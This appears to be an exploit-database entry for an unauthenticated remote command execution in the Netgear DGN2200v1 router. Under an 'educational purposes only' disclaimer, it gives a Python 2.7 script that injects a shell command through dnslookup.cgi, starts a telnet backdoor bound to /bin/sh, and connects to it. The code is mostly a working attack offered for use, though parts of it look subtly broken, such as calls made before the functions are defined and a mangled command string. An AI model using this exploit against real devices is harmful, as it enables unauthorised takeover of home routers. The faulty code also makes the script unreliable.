Exploits / Vulnerability Discovered : 2021-07-06 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Netgear dgn2200v1 remote command execution (rce) (unauthenticated) is for educational purposes only and if it is used you will do on your own risk!
The exploit script only works on UNIX-based systems.
This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.
"""
import sys
import requests
import os
target_ip = "192.168.0.1"
telnet_port = 666
sent = False
target_ip = sys.argv[1]
telnet_port = int(sys.argv[2])
print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
send_payload()
print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
print "[!] If it fails to connect it means the target is probably not vulnerable"
spawn_shell()
def send_payload():
try:
requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
sent = True
except Exception:
sent = False
print "[-] Unknown error, target might not be vulnerable."
def spawn_shell():
if sent:
print "[+] Dropping a shell..."
os.system("telnet " + target_ip + " " + telnet_port)
else:
exit()